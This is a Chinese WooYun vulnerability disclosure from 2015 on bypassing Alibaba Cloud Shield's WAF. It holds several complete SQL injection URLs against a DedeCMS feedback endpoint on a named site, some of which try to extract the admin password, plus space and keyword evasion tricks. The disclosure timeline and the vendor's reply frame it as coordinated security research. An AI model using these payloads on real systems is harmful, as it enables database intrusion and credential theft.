漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0122651
漏洞标题:阿里巴巴云盾防御策略可以bypass #3
相关厂商:阿里巴巴
漏洞作者: izy
提交时间:2015-07-06 19:21
修复时间:2015-10-05 18:14
公开时间:2015-10-05 18:14
漏洞类型:设计错误/逻辑缺陷
危害等级:高
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-07: 厂商已经确认,细节仅向厂商公开
2015-07-10: 细节向第三方安全合作伙伴开放
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开
简要描述:
:)
详细说明:
使用这个dede的注入进行测试
First bypass:
首先访问:http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1544','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',uptade(select( union select passwordxxxxxfromxxxxadmin limit 1)))%23
看到被拦截了,说明阿里云waf对union select 已经不是像之前那样只考虑单词边界问题了。
所以我们之恩能够放弃union进行注入的方式。
而在insert update这样的注入是不需要union的,所以我们来测试一下这样注入。
访问此url:http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1544','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select(select passwordxxxxfromxxxadmin limit 1)))%23
看到成功发出去了,说明这样的语句只是对单词边界的检测,这样就增加了我们绕过的几率。
我们再访问此url(用%a0来填充空格,前面加update来确认语句是否发送到客户端):http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1544','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select(select password from%a0admin limit 1)))%23
可以看到成功bypass了
Second bypass:
测试上一次的: WooYun: 阿里巴巴云盾防御策略可以bypass(实例证明)
对于这样的(select(select{x pwd}from{x %23@__admin}+limit+1)注入语句确实修复了。
但是fuzz的时候发现这样一个问题:select{x pwd}from{x %23@__admin}语句中,如果去掉空格也就bypass了
比如这样select{pwd}from{admin}就不会拦截,猜测是否增加了一个规则专用来对抗这样语句?像select{xx xxx}from{xxx xxx}这样就拦截,但是对于含有空格检测的正则中有多种bypass方式
例如:select{x%a0comment}from{x%a0guestbook}limit 1这样也是可以查出数据的
访问:http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0','x' update(select(select{x%0acomment}from{x%0aguestbook}limit 1))%23
也成功bypass
本地测试这样的语句:select{x%0acomment}from{x%0aguestbook}limit 1
成功执行了,也影响了数据,
漏洞证明:
修复方案:
总感觉针对单个注入poc的方法不好,每出现一个新特性就要加一个新规则,但是为了用户体验也不知道有没有双赢的方法。
版权声明:转载请注明来源 izy@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2015-07-07 18:13
厂商回复:
您好,经确认,已有白帽子在ASRC提交了该漏洞,属于重复上报。感谢您对阿里巴巴安全的支持与关注。
最新状态:
暂无